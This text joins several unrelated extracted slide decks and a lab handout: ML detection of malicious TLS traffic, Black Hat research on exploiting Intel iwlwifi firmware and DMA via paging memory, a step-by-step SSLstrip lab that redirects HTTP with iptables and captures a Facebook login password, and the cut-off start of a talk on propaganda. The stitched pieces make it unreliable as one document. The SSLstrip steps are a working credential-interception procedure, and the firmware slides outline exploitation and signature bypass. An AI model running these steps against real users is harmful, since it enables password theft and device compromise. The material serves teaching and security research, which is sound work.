Files.log • …… Bro logs Bro lDS 38 ssl-connect-unit 1. SSL aggregation conn.log 2. SSL aggregation N. SSL aggregation High level features ● Mean ● Standard deviation ● Weighted mean Raw data ssl.log x509.log conn.log ssl.log x509.log conn.log ssl.log x509.log {SrcIP, DstIP, DstPort, protocol} {SrcIP, DstIP, DstPort, protocol} {SrcIP, DstIP, DstPort, protocol} ssl-connect-unit ID: {SrcIP, DstIP, DstPort, protocol} Connection features ● Numbers, lists, strings Source : https://2018.bsidesbud.com/wp-content/uploads/2018/03/seba_garcia_frantisek_strasak.pdf 39 40 Features of ssl-connect-unit • Number of SSL aggregations • Mean and standard deviation of duration • Mean and standard deviation of number of packets • Mean and standard deviation of number of bytes • Ratio of TLS and SSL version • Number of different certificates Source : https://2018.bsidesbud.com/wp-content/uploads/2018/03/seba_garcia_frantisek_strasak.pdf 40 r d 2015.7.27 2018.7.27 2020.7.27 Ratio of validity during the capture ! " 41 Top 7 most discriminant features • Certificate length of validity • Inbound and outbound packets • Validity of certificate during the capture • Duration • Number of domains in certificate (SAN DNS) • SSL/TLS version • Periodicity Source : https://2018.bsidesbud.com/wp-content/uploads/2018/03/seba_garcia_frantisek_strasak.pdf 42 Machine Learning methods 43 Quantity Dependent Backpropagation(QDBP) • We introduce a vector F into backpropagation (eq (1)) and propose a QDBP algorithm which takes the disparity between classes into consideration and shows different sensitivities toward different classes. • !" #$ = !" # − '× )*+,, )-. / − (1) • !" #$ = !" # − ' 3 Ϝ 3 56788 −(2) • Ϝ = :; <; , :> <> , … , :@ <@ • 56788 = [ )*+,,; )-. , )*+,,> )-. , … , )*+,,@ )-. ]C 44 Tree-Shaped Deep Neural Network (TSDNN) • To mitigate the imbalanced data issue, we propose an end-to-end trainable TSDNN model which classifies the data layer by layer. 45 ACCURACY AND PRECISION OF DIFFERENT APPROACHES 46 Partial flow Detection • Our model is able to distinguish the malicious flow by only considering the first 5 % of the entire flow which shows the possibility of a realtime detection since the model can perceive the potential threats in the very beginning of the process without analyzing the entire flow. 47 Zero-shot Learning • We collect 14 different kinds of malware not in training data to evaluate the ability of our model to perceive potential threats. 48 Multiclass Classfication • 12 classes • Accuracy = 99.63% • Precision = 85.4% 49 Multiclass Classfication • 19 classes • Accuracy = 92.84% • Precision = 87.32% 50 Tor-NonTor Classification • Xgboost • Accuracy = 98.7% • Precision = 91.9% 51 Application Classification among Tor Algorithm Accuracy Precision Recall F-measure XGBoost 79.3 68.9 53.7 60.4 audio 74.4 79.1 76.7 chat 88.9 86.5 87.6 file 66.8 56.0 61.0 email 79.2 81.2 80.2 video 84.2 86.5 85.3 voip 96.6 92.7 94.6 p2p 52 Implementation on SDN 53 Demo 54 Special Thanks • • Project : • • HICON^_^ 55 Reference • Deciphering Malware's use of TLS (without Decryption) https://arxiv.org/pdf/1607.01639.pdf • Characterization of Tor Traffic using Time based Features https://www.researchgate.net/publication/314521450_Characterizati on_of_Tor_Traffic_using_Time_based_Features • Detecting malware even when it is encrypted https://2018.bsidesbud.com/wp- content/uploads/2018/03/seba_garcia_frantisek_strasak.pdf • Deep Learning for Malicious Flow Detection https://arxiv.org/pdf/1802.03358.pdf 56 Thanks! Email : [email protected] Facebook : 57
pdf
#BHUSA   @BlackHatEvents Ghost in the Wireless, iwlwifi Edition Nicolas Iooss, Gabriel Campana #BHUSA   @BlackHatEvents Information Classification: General Context - Up-to-date Ubuntu 18.04 LTS - HTTP server - Android smartphone 2 #BHUSA   @BlackHatEvents Information Classification: General Context # dmesg iwlwifi 0000:01:00.0: Start IWL Error Log Dump: iwlwifi 0000:01:00.0: Status: 0x00000100, count: 6 iwlwifi 0000:01:00.0: Loaded firmware version: 34.0.1 ... iwlwifi 0000:01:00.0: Start IWL Error Log Dump: iwlwifi 0000:01:00.0: Status: 0x00000100, count: 7 iwlwifi 0000:01:00.0: 0x00000070 | ADVANCED_SYSASSERT ... iwlwifi 0000:01:00.0: 0x004F01A7 | last host cmd ieee80211 phy0: Hardware restart was requested 3 #BHUSA   @BlackHatEvents Information Classification: General Why this research? - This chip implements complex features - Likely to have vulnerabilities - No public research about the security of Intel’s Wi-Fi chips - Prior art: Broadcom’s Wi-Fi cards and Intel’s NIC - This sounds fun - Yet another smart piece of hardware, widely used in laptops - The chip has DMA (Direct Memory Access) by design, because network - DMA attacks: FireWire attacks, PCIe screamer, Thunderspy, Thunderclap… 4 #BHUSA   @BlackHatEvents Information Classification: General Studied Wi-Fi chips Intel Wireless-AC 9560 (Picture of a Companion RF Module) Intel Wireless-AC 8260 5 #BHUSA   @BlackHatEvents Information Classification: General Agenda - The firmware & talking to the chip - Vulnerability research - Dynamic analysis experiments - DMA through the paging memory 6 #BHUSA   @BlackHatEvents Information Classification: General The Firmware 7 -X 7 #BHUSA   @BlackHatEvents Information Classification: General Intel WireLess (IWL) Wi-Fi on Linux 8 FW #BHUSA   @BlackHatEvents Information Classification: General iwlwifi chooses a compatible firmware file using the API version https://git.kernel.org/pub/scm/linux/kernel/git/firmware/linux-firmware.git/ Firmware file (for Intel Wireless for Linux) # dmesg iwlwifi 0000:00:14.3: loaded firmware version 46.6f9f215c.0 9000-pu-b0-jf-b0-46.ucode op_mode iwlmvm # ls /lib/firmware/iwlwifi-9000-pu-b0-jf-b0-* /lib/firmware/iwlwifi-9000-pu-b0-jf-b0-33.ucode /lib/firmware/iwlwifi-9000-pu-b0-jf-b0-34.ucode /lib/firmware/iwlwifi-9000-pu-b0-jf-b0-38.ucode /lib/firmware/iwlwifi-9000-pu-b0-jf-b0-41.ucode /lib/firmware/iwlwifi-9000-pu-b0-jf-b0-43.ucode /lib/firmware/iwlwifi-9000-pu-b0-jf-b0-46.ucode 9 #BHUSA   @BlackHatEvents Information Classification: General Firmware file format 00000000: 0000 0000 4957 4c0a 7265 6c65 6173 652f ....IWL.release/ 00000010: 636f 7265 3433 3a3a 3666 3966 3231 3563 core43::6f9f215c 00000020: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000030: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000040: 0000 0000 0000 0000 2e00 0000 5c21 9f6f ............\!.o 00000050: 0000 0000 0000 0000 1600 0000 0c00 0000 ................ 00000060: 0000 0000 db15 060f 8b95 020f 2400 0000 ............$... 00000070: 0c00 0000 2e00 0000 5c21 9f6f 0000 0000 ........\!.o.... 00000080: 3700 0000 2000 0000 143c 8100 7c74 4600 7... ....<..|tF. … 000002e0: 0700 0000 0000 0000 1b00 0000 0400 0000 ................ 000002f0: 0200 0000 1300 0000 bc02 0000 0040 4000 .............@@. 00000300: 0600 0000 a100 0000 0000 0100 0000 0000 ................ 00000310: 8680 0000 2801 2120 cb1e 0200 4000 0000 ....(.! ....@... Header: - API version 0x2e = 46 - build number 6f9f215c Entries: Type, Length, Value 10No encryption #BHUSA   @BlackHatEvents Information Classification: General Firmware file format Linux: drivers/net/wireless/intel/iwlwifi/fw/file.h 11 00000000: 0000 0000 4957 4c0a 7265 6c65 6173 652f ....IWL.release/ 00000010: 636f 7265 3433 3a3a 3666 3966 3231 3563 core43::6f9f215c 00000020: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000030: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000040: 0000 0000 0000 0000 2e00 0000 5c21 9f6f ............\!.o 00000050: 0000 0000 0000 0000 1600 0000 0c00 0000 ................ 00000060: 0000 0000 db15 060f 8b95 020f 2400 0000 ............$... 00000070: 0c00 0000 2e00 0000 5c21 9f6f 0000 0000 ........\!.o.... 00000080: 3700 0000 2000 0000 143c 8100 7c74 4600 7... ....<..|tF. … 000002e0: 0700 0000 0000 0000 1b00 0000 0400 0000 ................ 000002f0: 0200 0000 1300 0000 bc02 0000 0040 4000 .............@@. 00000300: 0600 0000 a100 0000 0000 0100 0000 0000 ................ 00000310: 8680 0000 2801 2120 cb1e 0200 4000 0000 ....(.! ....@... No encryption #BHUSA   @BlackHatEvents Information Classification: General Firmware decoder 12 00000000: 0000 0000 4957 4c0a 7265 6c65 6173 652f ....IWL.release/ 00000010: 636f 7265 3433 3a3a 3666 3966 3231 3563 core43::6f9f215c 00000020: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000030: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000040: 0000 0000 0000 0000 2e00 0000 5c21 9f6f ............\!.o 00000050: 0000 0000 0000 0000 1600 0000 0c00 0000 ................ 00000060: 0000 0000 db15 060f 8b95 020f 2400 0000 ............$... 00000070: 0c00 0000 2e00 0000 5c21 9f6f 0000 0000 ........\!.o.... 00000080: 3700 0000 2000 0000 143c 8100 7c74 4600 7... ....<..|tF. … 000002e0: 0700 0000 0000 0000 1b00 0000 0400 0000 ................ 000002f0: 0200 0000 1300 0000 bc02 0000 0040 4000 .............@@. 00000300: 0600 0000 a100 0000 0000 0100 0000 0000 ................ 00000310: 8680 0000 2801 2120 cb1e 0200 4000 0000 ....(.! ....@... $ parse_intel_wifi_fw.py iwlwifi-9000-pu-b0-jf-b0-46.ucode - DEF_CALIB (12 bytes): ucode_type=REGULAR flow_trigger=0x0F0615DB event_trigger=0x0F02958B - FW_VERSION (12 bytes): 46.6f9f215c.0 - LMAC_DEBUG_ADDRS (32 bytes): error_event_table_ptr = 0x00813C14 log_event_table_ptr = 0x0046747C … - NUM_OF_CPU (4 bytes): 2 - SEC_RT (700 bytes): runtime microcode at 00404000..004042b8 (ACM Header) No encryption #BHUSA   @BlackHatEvents Information Classification: General 2 Processors?!? UMAC CPU Upper Medium Access Controller LMAC CPU Lower Medium Access Controller Physical Interface (Antennae) On-Chip Memory (SRAM, DCCM…) PCIe Firmware loading Wi-Fi chip 13 Main System Unknown bus Unknown bus #BHUSA   @BlackHatEvents Information Classification: General Firmware memory layout 14 Firmware File - DEF_CALIB - FW_VERSION - LMAC_DEBUG_ADDRS … - NUM_OF_CPU 2 - SEC_RT 00404000 - SEC_RT 00800000 - SEC_RT 00000000 - SEC_RT 00456000 … - SEC_RT 00405000 - SEC_RT c0080000 - SEC_RT c0880000 - SEC_RT 80448000 … Wi-Fi chip Memory 00000000..00037fff (229376 bytes) c0080000..c008ffff (65536 bytes) 00404000..004042b7 (696 bytes) 00405000..004052b7 (696 bytes) 80448000..80455ad3 (56020 bytes) 00456000..0048d873 (227444 bytes) 00800000..00817fff (98304 bytes) c0880000..c0887fff (32768 bytes) Authenticated Module Headers: - RSA-2048 public key - Signature cpu_rec: ARCompact LMAC UMAC #BHUSA   @BlackHatEvents Information Classification: General Reverse all the things! Tools: objdump, IDA Pro, Ghidra (Pull Req #3006) and custom Python scripts 15 #BHUSA   @BlackHatEvents Information Classification: General Trying to modify the firmware # dmesg iwlwifi 0000:00:14.3: SecBoot CPU1 Status : 0x3030003, CPU2 Status: 0x0 16 FAIL #BHUSA   @BlackHatEvents Information Classification: General Talking to the Chip 17 -X 17 Beyond network packets #BHUSA   @BlackHatEvents Information Classification: General Linux Debug Filesystem Maaaaaany files in the debugfs! 18 # ls /sys/kernel/debug/iwlwifi/0000:00:14.3/iwlmvm bt_cmd fw_restart nvm_sw bt_force_ant fw_rx_stats prph_reg bt_notif fw_ver ps_disabled bt_tx_prio he_sniffer_params rfi_freq_table ctdp_budget indirection_tbl sar_geo_profile d3_test inject_beacon_ie scan_ant_rxchain d3_wake_sysassert inject_beacon_ie_restore send_echo_cmd disable_power_off inject_packet send_hcmd drop_bcn_ap_mode last_netdetect_scans set_nic_temperature drv_rx_stats mem sram enabled_severities netdev:p2p-dev-wlp0s20@ sta_drain enable_scan_iteration_notif netdev:wlp0s20f3@ stations force_ctkill nic_temp stop_ctdp fw_dbg_collect nvm_calib timestamp_marker fw_dbg_conf nvm_hw tx_flush fw_dbg_domain nvm_phy_sku uapsd_noagg_bssids fw_info nvm_prod fw_nmi nvm_reg #BHUSA   @BlackHatEvents Information Classification: General Linux Debug Filesystem Memory read: almost anywhere :) (not 0048f000...0048ffff) 19 # DBGFS=/sys/kernel/debug/iwlwifi/0000:00:14.3 # dd if=$DBGFS/iwlmvm/mem bs=1 count=128 | xxd 00000000: 2020 800f 0000 4000 2020 800f 0300 e474 ....@. .....t 00000010: 2020 800f 0300 3837 2020 800f 0000 c819 ....87 ...... 00000020: 6920 0000 6920 4000 6920 0000 6920 4000 i ..i @.i ..i @. 00000030: 2020 800f 4700 14b6 6920 0000 6920 4000 ..G...i ..i @. 00000040: 6920 0000 4a20 0000 4a21 0000 4a22 0000 i ..J ..J!..J".. 00000050: 4a23 0000 4a24 0000 4a25 0000 4a26 0000 J#..J$..J%..J&.. 00000060: 4a27 0000 4a20 0010 4a21 0010 4a22 0010 J'..J ..J!..J".. 00000070: 4a23 0010 4a24 0010 4a25 0010 4a26 0010 J#..J$..J%..J&.. #BHUSA   @BlackHatEvents Information Classification: General Getting the PC (Program Counter) # echo 0xa05c18 > $DBGFS/iwlmvm/prph_reg # cat $DBGFS/iwlmvm/prph_reg Reg 0xa05c18: (0xc0084f40) # echo 0xa05c1c > $DBGFS/iwlmvm/prph_reg # cat $DBGFS/iwlmvm/prph_reg Reg 0xa05c1c: (0xb552) # echo 0xa05c20 > $DBGFS/iwlmvm/prph_reg # cat $DBGFS/iwlmvm/prph_reg Reg 0xa05c20: (0x0) // Linux: drivers/net/wireless/intel/iwlwifi/iwl-prph.h #define UREG_UMAC_CURRENT_PC 0xa05c18 #define UREG_LMAC1_CURRENT_PC 0xa05c1c #define UREG_LMAC2_CURRENT_PC 0xa05c20 UMAC pc LMAC pc No second LMAC 20 HOW‽ #BHUSA   @BlackHatEvents Information Classification: General The perspective from iwlwifi (Linux) 21 #BHUSA   @BlackHatEvents Information Classification: General Host commands - Communication with the chip through PCIe - Commands processed by UMAC CPU - Undocumented commands 22 #BHUSA   @BlackHatEvents Information Classification: General Arbitrary Code Execution 23 -X 23 Abusing undocumented host commands from Linux #BHUSA   @BlackHatEvents Information Classification: General Vulnerability 24 #BHUSA   @BlackHatEvents Information Classification: General Exploitation 25 #BHUSA   @BlackHatEvents Information Classification: General Send arbitrary commands to the chip - Linux ftrace framework - No need to build a custom iwlmvm.ko - Hijack a single function: iwl_mvm_send_cmd() - Custom requests from userland - Communicate through /sys/kernel/debug/iwlwifi/*/iwlmvm $ make make -C /lib/modules/4.15.0-177-generic/build M=/home/user/hook-driver modules make[1]: Entering directory '/usr/src/linux-headers-4.15.0-177-generic' CC [M] /home/user/hook-driver/exploit.o CC [M] /home/user/hook-driver/ftrace_hook.o LD [M] /home/user/hook-driver/pwn.o Building modules, stage 2. MODPOST 1 modules CC /home/user/hook-driver/pwn.mod.o LD [M] /home/user/hook-driver/pwn.ko make[1]: Leaving directory '/usr/src/linux-headers-4.15.0-177-generic' 26 #BHUSA   @BlackHatEvents Information Classification: General - rwx region, no mitigations - Put the shellcode in a global buffer thanks to a specific command - Optional: read memory to ensure that the shellcode was successfully written - Trigger the vulnerability Exploit 27 #BHUSA   @BlackHatEvents Information Classification: General Payload – enable debug mode $ sudo ./iwldebug.py read 0xc0887ff4 16 c0887ff4: efbe adde efbe adde efbe adde efbe adde $ sudo ./iwldebug.py write 0xc0887ff4 61626364 Failed to write 4 bytes to 0xc0887ff4 (61626364) $ sudo ./exploit_enable_debug.py [*] loading module pwn [*] putting shellcode in memory (24 bytes) [*] ensuring shellcode is there [*] triggering overflow [*] ensuring debug flag is set SUCCESS (read at 0xc0a03088: 0x400)! [*] unloading module pwn $ sudo ./iwldebug.py write 0xc0887ff4 61626364 $ sudo ./iwldebug.py read 0xc0887ff4 16 c0887ff4: 6162 6364 efbe adde efbe adde efbe adde 28 #BHUSA   @BlackHatEvents Information Classification: General Old vulnerability Intel Wireless-AC 9560 ⛔ The vulnerability does not seem to be present 29 Intel Wireless-AC 8260 Old firmware vulnerable 🎉 Enable debug mode #BHUSA   @BlackHatEvents Information Classification: General Loading patched firmware 30 -X 30 #BHUSA   @BlackHatEvents Information Classification: General Discovering the Loader Linux Wi-Fi chip iwlwifi Memory Registers LMAC pc = 0x0006107e Transmit FW Get pc value 00060000-00061eff: loader 00401000-0040243b: data 00402e80-00402fff: stack 31 #BHUSA   @BlackHatEvents Information Classification: General Discovering the Loader Linux Wi-Fi chip iwlwifi Memory Registers LMAC pc = 0x0006107e Transmit FW Get pc value 00060000-00061eff: loader 00401000-0040243b: data 00402e80-00402fff: stack TOCTOU attack? (Transmit FW, Verify FW, Transmit patched FW) SECURE 32 #BHUSA   @BlackHatEvents Information Classification: General Discovering the Loader Linux Wi-Fi chip iwlwifi Memory Registers LMAC pc = 0x0006107e Transmit FW Get pc value 00060000-00061eff: loader 00401000-0040243b: data 00402e80-00402fff: stack TOCTOU attack? (Transmit FW, Verify FW, Transmit patched FW) Can Linux modify the data or the stack? SECURE 33 VULN #BHUSA   @BlackHatEvents Information Classification: General Bypassing the signature verification 34 1. Load a modified firmware Wi-Fi chip Memory 00000000-...: firmware 00402e80-...: loader stack 2. Change a return address 3. Wait Intel Wireless-AC 9560 ⛔ FAIL Intel Wireless-AC 8260 🎉 SUCCESS INTEL-SA-00621 CVE-2022-21181 published on 2022-08-09 #BHUSA   @BlackHatEvents Information Classification: General Bypassing the signature verification 35 1. Load a modified firmware Wi-Fi chip Memory 00000000-...: firmware 00402e80-...: loader stack 2. Change a return address 3. Wait Intel Wireless-AC 9560 ⛔ FAIL Intel Wireless-AC 8260 🎉 SUCCESS Make the chip commit its Data Cache (196 fake FW sections) 🎉 SUCCESS INTEL-SA-00621 CVE-2022-21181 published on 2022-08-09 #BHUSA   @BlackHatEvents Information Classification: General Dynamic analysis 36 36 -X We have arbitrary code execution on the chip. Now what? #BHUSA   @BlackHatEvents Information Classification: General Tracing - Tell which functions are executed - Replace the first instruction (push_s blink) of every functions with: - LMAC: trap_s 0 - UMAC: invalid instruction - Hook the exception vector in the exception handler - Log the address to a unused buffer (0xc004ad00 - 0xc0050000) - Emulate push_s blink and return after the patched instruction - Write hooks thanks to debug mode - Read the shared buffer from the host in a loop 37 #BHUSA   @BlackHatEvents Information Classification: General On-Chip Debugger Goals: retrieve memory and register values to ease reverse engineering 38 #BHUSA   @BlackHatEvents Information Classification: General On-Chip Debugger - A debugger stub (PIC) is written to a fixed address - 4 commands: - Read register - Write to memory (1 / 2 / 4 bytes) - Read from memory (1 / 2 / 4 bytes) - Resume execution - Communication with the host through unused registers - Targeted function pointers are replaced with the debugger address - Allows to instrument a set of UMAC/LMAC functions - Less powerful than a GDB stub 39 #BHUSA   @BlackHatEvents Information Classification: General InVitroDbg - Idea from Guillaume Delugré - Closer to metal: Reverse engineering the Broadcom NetExtreme's firmware Hack.lu 2010 - Emulate firmware - Firmware execution on the host - Forward some memory accesses to the on-chip debugger - QEMU user with custom TCG plugin - GDB server 40 #BHUSA   @BlackHatEvents Information Classification: General Firmware emulation with IO memory accesses 41 #BHUSA   @BlackHatEvents Information Classification: General DMA (Direct Memory Access) and the Paging Memory 42 -X 42 Experiment: can the chip do DMA Attacks? #BHUSA   @BlackHatEvents Information Classification: General The Additional Code in the File 43 Firmware File - NUM_OF_CPU 2 - SEC_RT 00404000 - SEC_RT 00800000 - SEC_RT 00000000 - SEC_RT 00456000 … - SEC_RT 00405000 - SEC_RT c0080000 - SEC_RT c0880000 - SEC_RT 80448000 … Wi-Fi chip Memory 00000000..00037fff (229376 bytes) c0080000..c008ffff (65536 bytes) 00404000..004042b7 (696 bytes) 00405000..004052b7 (696 bytes) 80448000..80455ad3 (56020 bytes) 00456000..0048d873 (227444 bytes) 00800000..00817fff (98304 bytes) c0880000..c0887fff (32768 bytes) LMAC UMAC #BHUSA   @BlackHatEvents Information Classification: General The Additional Code in the File 44 Firmware File - NUM_OF_CPU 2 - SEC_RT 00404000 - SEC_RT 00800000 - SEC_RT 00000000 - SEC_RT 00456000 … - SEC_RT 00405000 - SEC_RT c0080000 - SEC_RT c0880000 - SEC_RT 80448000 … - SEC_RT aaaabbbb - SEC_RT 00000000 - SEC_RT 01000000 Wi-Fi chip Memory 00000000..00037fff (229376 bytes) c0080000..c008ffff (65536 bytes) 00404000..004042b7 (696 bytes) 00405000..004052b7 (696 bytes) 80448000..80455ad3 (56020 bytes) 00456000..0048d873 (227444 bytes) 00800000..00817fff (98304 bytes) c0880000..c0887fff (32768 bytes) LMAC UMAC aaaabbbb: separator (4 bytes) 00000000..00000297 (664 bytes) 01000000..0103afff (241664 bytes) #BHUSA   @BlackHatEvents Information Classification: General The Paging Memory is like Linux’s swap mechanism DMA request if needed 00000000-3fffffff Memory Management Unit (MMU) 01000xxx is not present 01001xxx is not present 01002xxx is not present … “Paging Memory” Data stored by iwlwifi (236 KiB, 59 pages) Main physical memory (managed by Linux) UMAC virtual memory 01000000-01ffffff 80000000-bfffffff c0000000-ffffffff UMAC physical memory 00422000-00447fff (152 KiB, 38 pages) MMU Configuration 45 #BHUSA   @BlackHatEvents Information Classification: General The Paging Memory is like Linux’s swap mechanism DMA request if needed 00000000-3fffffff Memory Management Unit (MMU) 01000xxx is not present 01001xxx is not present 01002xxx is at 00432xxx … “Paging Memory” Data stored by iwlwifi (236 KiB, 59 pages) Main physical memory (managed by Linux) UMAC virtual memory 01000000-01ffffff 80000000-bfffffff c0000000-ffffffff UMAC physical memory 00422000-00447fff (152 KiB, 38 pages) MMU Configuration 46 #BHUSA   @BlackHatEvents Information Classification: General The Paging Memory How is the integrity ensured? - RSA signature on the 59 pages together - Each page is sent separately - Each page can be modified by the firmware, but not by Linux Solution: each page is protected by a 32-bit checksum - Universal Message Authentication Code (https://en.wikipedia.org/wiki/UMAC) - Random per-boot 4096-byte secret key - Integrity is broken if an attacker can read the checksums - They are located at 0x0048f400, not readable from Linux 47 #BHUSA   @BlackHatEvents Information Classification: General The Paging Memory is like Linux’s swap mechanism DMA request if needed 00000000-3fffffff Memory Management Unit (MMU) 01000xxx is not present 01001xxx is not present 01002xxx is at 00432xxx … “Paging Memory” Data stored by iwlwifi (236 KiB, 59 pages) Main physical memory (managed by Linux) UMAC virtual memory 01000000-01ffffff 80000000-bfffffff c0000000-ffffffff UMAC physical memory 00422000-00447fff (152 KiB, 38 pages) MMU Configuration 48 DMA Attack Other memory #BHUSA   @BlackHatEvents Information Classification: General Demo! https://asciinema.org/a/CWD6HMr4iaw0Rj3S95p9J3vII 49 #BHUSA   @BlackHatEvents Information Classification: General The host physical addresses are used/managed by the chip. Can it do arbitrary DMA requests? - YES! Demo! What about the IOMMU? - By default on Ubuntu, the IOMMU is not enabled - Protection: add intel_iommu=on to the kernel command line (Ab)using The Paging Memory 50 [ 259.578089] DMAR: DRHD: handling fault status reg 3 [ 259.578094] DMAR: [DMA Read] Request device [00:14.3] PASID ffffffff fault addr 406a00000 [fault reason 06] PTE Read access is not set [ 261.600645] iwlwifi 0000:00:14.3: Error sending UNKNOWN: time out after 2000ms. … [ 261.601783] iwlwifi 0000:00:14.3: 0x00000084 | NMI_INTERRUPT_UNKNOWN #BHUSA   @BlackHatEvents Information Classification: General Conclusion 51 -X 51 #BHUSA   @BlackHatEvents Information Classification: General Context - Up-to-date Ubuntu 18.04 LTS - HTTP server - Android smartphone 52 #BHUSA   @BlackHatEvents Information Classification: General TDLS crash analysis - Tunneled Direct Link Setup (TDLS): incompatible implementations - Not exploitable - Update not available on some Linux distros (eg. Ubuntu 18.04 LTS) - Remote firmware crash with a single Wi-Fi packet 53 #BHUSA   @BlackHatEvents Information Classification: General Conclusion Takeaways: - Analyzing Intel Wi-Fi chips firmware https://github.com/Ledger-Donjon/intel-wifi-research-tools - Finding vulnerabilities to achieve code execution on the chip - Verifying security protections (IOMMU against DMA attack) What’s more? - Wi-Fi frame parsing: more vulnerabilities to be found? - Bluetooth interface on the same chip: more complexity! - WoWLAN (Wake-on-Wireless Local Area Network): Low-Power mode! Groundwork for other security researchers 54 #BHUSA   @BlackHatEvents Information Classification: General Questions? 55 -X 55 https://github.com/Ledger-Donjon/intel-wifi-research-tools @IooNag
pdf
SSLstrip – hijacking SSH Sessions Bowne Page 1 of 5 What You Need for This Project  A computer running Linux to be the Attacker (I wrote the instructions on a Ubuntu 8.04 virtual machine).  A second computer running any OS to be the Target. I used my Windows 7 host machine as the target. Goal The Attacker will serve as a proxy, converting secure HTTPS sessions to insecure HTTP ones. This will not be obvious to the user. Starting the Target Machine 1. Start your Target machine. 2. Open a browser on your Target machine and make sure you can connect to the Internet. Opening Facebook on the Target Machine 3. On your Target machine, in Firefox, go to facebook.com. Notice that this page is not secure—the URL starts with http instead of https, as shown below on this page. 4. On your Target machine, in Firefox, click View, "Page Source". In the "Source of http://www.facebook.com" window, click Edit, Find. In the Find: box at the bottom of the window, type login and click the Next button. 5. You can see the form statement for the login form. This shows that although the page is not secure, the actual login method uses a URL starting with https. Many Websites use this system: a single page has both secure and insecure items. That is the vulnerability we will exploit. SSLstrip – hijacking SSH Sessions Bowne Page 2 of 5 Starting the Attacker Machine 6. Start an Ubuntu 8.04 virtual machine. That will be your Attacker machine. 7. Open a browser on your Attacker machine and make sure you can connect to the Internet. Downloading SSLstrip 8. On the Attacker Linux machine, open Firefox and go to this URL: thoughtcrime.org 9. Click Software. On the next page, click sslstrip. In the Download section, Click sslstrip. At the time I wrote this (Mar. 4, 2009), it was at version 0.2. 10. Save the file on your desktop. 11. On your desktop, right-click the sslstrip-0.2.tar.gz file and click "Extract Here". 12. On your desktop, double-click the sslstrip-0.2 folder to open it. 13. Right-click README and click Open. A box pops up asking "Do you want to run "README", or display its contents?". Click the Display button. Read through the instructions—that's a quick summary of what we are doing here. 14. Close the README window. Starting IP Forwarding on the Attacker Machine 15. On the Attacker Linux machine, click Applications, Accessories, Terminal. In the Terminal window, type this command. Then press the Enter key. sudo pico /etc/sysctl.conf Enter your password when you are prompted to. 16. Scroll down and find the line that says "#Uncomment the next line to enable packet forwarding for IPv4". Remove the # at the start of the next line, as shown below on this page. 17. Press Ctrl+X, Y, Enter to save the file. Setting iptables to redirect HTTP requests 18. On the Attacker Linux machine, in a Terminal window, type this command. Then press the Enter key. sudo iptables –t nat –A PREROUTING –p tcp --destination-port 80 –j REDIRECT --to-port 8080 19. In the Terminal window, type this command, and then press the Enter key: sudo iptables –t nat -L SSLstrip – hijacking SSH Sessions Bowne Page 3 of 5 20. You should see one rule in the REROUTING chain, as shown below on this page. Check it carefully. If you find any mistake, use this command to delete the rule: sudo iptables –t nat –D PREROUTING 1 and then repeat the commands above to re-create it without the error. Starting sslstrip 21. On the Attacker Linux machine, in a Terminal window, type this command. Then press the Enter key. cd ~/Desktop/sslstrip-0.2 22. On the Attacker Linux machine, in a Terminal window, type this command. Then press the Enter key. sudo python sslstrip.py -h A help message appears, showing the options. There aren't many of them. 23. On the Attacker Linux machine, in a Terminal window, type this command. Then press the Enter key. sudo python sslstrip.py –l 8080 Finding the Attacker Machine's IP Address 24. On your Attacker machine, click Applications, Accessories, Terminal. Type in ifconfig and press the Enter key. 25. Find your IP address and write it in the box to the right on this page. Attacker IP: _________________ SSLstrip – hijacking SSH Sessions Bowne Page 4 of 5 Setting Firefox to Use a Proxy Server on the Target Machine 26. In a real attack, we would redirect traffic by ARP poisoning. But for this project, we'll just set the proxy within Firefox. That makes the project easier to do, because it won't affect other machines in the lab. 27. On the Target machine (the Windows XP host), open Firefox. From the Firefox menu bar, click Tools, Options. 28. In the Options box, click the Advanced button. Click the Network tab. Click the Settings… button. Click the "Manual proxy configuration" button. Set the HTTP Proxy to the Attacker IP address you wrote in the box above on this page. Set the Port to 8080. Check the "Use this proxy server for all protocols" box. 29. In the "Connection Settings" box, click OK. In the Options box, click OK. Opening Facebook on the Target Machine 30. On your Target machine, in Firefox, go to facebook.com. Click View, "Page Source". In the "Source of http://www.facebook.com" window, click Edit, Find. In the Find: box at the bottom of the window, type login and click the Next button. 31. Now the form statement uses http, not https! This is the magic of SSLstrip—it acts as a proxy, replacing all secure connections with insecure ones. There is nothing the user can see to detect this in the normal Web page view. 32. Close the "Source of http://www.facebook.com" window. In the Facebook page, log in with this account: User name: [email protected] Password: P@ssw0rd Click the Login button. SSLstrip – hijacking SSH Sessions Bowne Page 5 of 5 Viewing the Captured Traffic 33. On the Attacker Linux machine, you should see a lot of messages scrolling by as sslstrip forwards the traffic. Open a new Terminal window and type this command. Then press the Enter key. pico ~/Desktop/sslstrip-0.2/sskstrip.log 34. This shows the captured traffic. To find the captured password, press Ctrl+W. Then type in cnit and press Enter. You should see the captured password as shown below on this page. Returning Firefox to Normal Function 35. On the Target machine, from the Firefox window's menu bar, click Tools, Options. In the Options box, click the Advanced button. Click the Network tab. In the Connection section, click the Settings button. In the "Connection Settings" box, click the "Direct connection to the Internet" radio button. In the "Connection Settings" box, click OK. In the Options box, click OK. Last Modified: 7-3-09
pdf
Overview ● Propaganda definition and short history ● Propaganda fundamentals ● Propaganda in the 4th estate (mainstream media) ● Propaganda in 21st century (rise of the machines) ● Fighting back ○ Hardening the human hardware and software ○ Using our machines to help against the fight ● Conclusion remarks ● References Propaganda - As defined for this talk ● Advertising ● Public Relations ● Lobbying ● Social Engineering ● Telemarketing ● Soliciting ● Manufacturing Consent ● Sexting Node A Node B DATA STREAM Benefits ...and it goes by many other names Propaganda - A history ● Etymology of the word (from etymonline.com) ○ "committee of cardinals in charge of Catholic missionary work," short for Congregatio de Propaganda Fide "congregation for propagating the faith," a committee of cardinals established 1622 by Gregory XV to supervise foreign missions Propaganda - A history (cont) ● Fast forward to WWI (1914) ○ First major world power conflict since Napoleon (circa 1799-1815) ○ Each country needed to think of ways to motivate their populations into fighting a gruesome war of attrition ● Adolf Hitler ○ Recognized that the Germans failed in this department when compared to the British ○ Germans would do much better the 2nd time around ● Edward Bernays ○ Helped President Wilson’s image by sculpting message about ‘spreading democracy’ ○ Encouraged by this success, started thinking about how to sell his services and expertise to businesses Propaganda - A history 